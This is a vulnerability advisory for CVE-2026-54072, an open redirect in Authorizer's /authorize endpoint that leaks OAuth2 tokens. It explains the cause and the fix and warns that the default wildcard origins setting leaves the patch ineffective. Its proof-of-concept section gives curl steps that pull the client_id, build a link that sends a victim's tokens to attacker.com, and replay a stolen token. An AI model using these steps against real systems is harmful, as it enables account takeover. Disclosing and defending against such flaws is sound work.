CVE-2026-54072: Authorizer Open Redirect Leaks OAuth2 Tokens via Unvalidated redirect_uri
Authorizer's /authorize endpoint sends a logged-in user's access, ID, and refresh tokens directly to any URL an attacker supplies, because it never checks whether the redirect_uri is in the server's…
The problem
The /authorize handler in internal/http_handlers/authorize.go reads redirect_uri from the query string and uses it as the redirect target without calling validators.IsValidOrigin(). Every other handler that was fixed in v2.0.1 (oauth_login, verify_email, magic_link_login, forgot_password, invite_members, oauth_callback) now has that check, but /authorize was left out.
When response_type=token or response_type=id_token, the server appends access_token, id_token, and refresh_token as query parameters and issues a 302 to the attacker-supplied URL. The required client_id is freely available from the unauthenticated GraphQL meta endpoint, so no credentials are needed to construct the attack URL.
Proof of concept
A working proof-of-concept for CVE-2026-54072 in github.com/authorizerdev/authorizer, with the exact payload below.
# Step 1: Grab client_id (no auth required)
CLIENT_ID=$(curl -s http://TARGET/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{meta{client_id}}"}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data']['meta']['client_id'])")
# Step 2: Send this link to a logged-in victim
# Tokens land at attacker.com the moment the browser follows the 302
MALICIOUS_URL="http://TARGET/authorize\
?response_type=token\
&client_id=${CLIENT_ID}\
&redirect_uri=https://attacker.com/steal\
&scope=openid+profile+email\
&state=x\
&response_mode=query"
# Step 3: Attacker receives:
# GET /steal?access_token=eyJ...&token_type=bearer&expires_in=...&id_token=eyJ...&refresh_token=...
# Step 4: Confirm the stolen token works
curl -s http://TARGET/userinfo \
-H 'Authorization: Bearer STOLEN_ACCESS_TOKEN'
# {"email":"victim@example.com","id":"...","roles":["user"]}The root cause is a missing allowlist check (CWE-601). The patch commit (bd3f5baf6d3d) adds the same validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) guard to authorize.go that v2.0.1 already applied to the other six handlers.
Tokens are appended as plain query parameters before the redirect fires, so they also appear in the attacker's server access logs, the victim's browser history, and any Referer headers sent to third-party scripts on the attacker's page. The client_id needed to craft the URL is exposed by the public /graphql?query={meta{client_id}} endpoint with no authentication, making the attack fully self-contained.
Note: the default AllowedOrigins value is ["*"], which means the IsValidOrigin check is a no-op unless the operator explicitly configures a restrictive origins list. Upgrading is necessary but not sufficient; operators must also set ALLOWED_ORIGINS to their specific domains.
The fix
Upgrade to commit bd3f5baf6d3d (pseudo-version 0.0.0-20260409051328-bd3f5baf6d3d) or any tagged release built on top of it. After upgrading, set the ALLOWED_ORIGINS environment variable to your exact application origin(s), for example https://app.example.com.
The default wildcard ["*"] makes the new guard ineffective.
Reported by Koda Reef.
Related research
- high · 7.7CVE-2026-55431CVE-2026-55431: Coder CLI Session Token Exfiltration via External App URLs
- critical · 9.9CVE-2026-54680CVE-2026-54680: kube-logging/logging-operator Fluentd Configuration Injection RCE
- highnetfoil: Incorrect Block Response Sends Traffic to Localhost
- critical · 10CVE-2026-54735CVE-2026-54735: prebid-server Bidder Adapter Server-Side Request Forgery